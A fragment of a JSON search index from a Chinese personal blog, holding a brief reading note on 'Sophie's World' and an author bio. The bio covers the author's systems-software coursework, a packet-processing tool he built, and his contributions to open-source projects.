\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t苏菲的世界看了很长时间,很久没有认真阅读了,是很不错的科普作品,可以对西方哲学史有比较全面的了解,当然也比较粗略.\u003c/p\u003e","title":"","type":"reading"},{"content":"","externalUrl":null,"permalink":"/zh-cn/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/zh-cn/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/zh-cn/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"我是杨全烨（Quanye Yang），西安交通大学计算机科学与技术专业本科生。主要关注系统软件：操作系统、计算机网络与分布式系统。\n近期工作包括 MIT 6.S081 / xv6 内核实验、用户态 TCP 协议栈（Stanford CS144）、CMU 15-213 内存分配器实验，以及 MIT 6.5840（MapReduce 与 Raft）。也会从零实现小型系统工具（如基于 Linux Netfilter 的用户态 TCP 流量框架 PacketGhost），并向 Valkey 等开源项目提交修复与集群 / Raft 相关改动。\n本站用于整理部分课程笔记与实验记录。联系方式：quanyemostima@gmail.com · GitHub\n","externalUrl":null,"permalink":"/zh-cn/author/","section":"关于","summary":"\u003cp\u003e我是\u003cstrong\u003e杨全烨\u003c/strong\u003e（Quanye Yang），西安交通大学计算机科学与技术专业本科生。主要关注\u003cstrong\u003e系统软件\u003c/strong\u003e：操作系统、计算机网络与分布式系统。\u003c/p\u003e\n\u003cp\u003e近期工作包括 MIT 6.S081 / xv6 内核实验、用户态 TCP 协议栈（Stanford CS144）、CMU 15-213 内存分配器实验，以及 MIT 6.5840（MapReduce 与 Raft）。也会从零实现小型系统工具（如基于 Linux Netfilter 的用户态 TCP 流量框架 \u003ca href=\"https://github.com/quanyeyang/PacketGhost\" target=\"_blank\"\u003ePacketGhost\u003c/a\u003e），并向 \u003ca href=\"https://github.com/valkey-io/valkey\" target=\"_blank\"\u003eValkey\u003c/a\u003e 等开源项目提交修复与集群 / Raft 相关改动。\u003c/p\u003e","title":"关于","type":"author"}]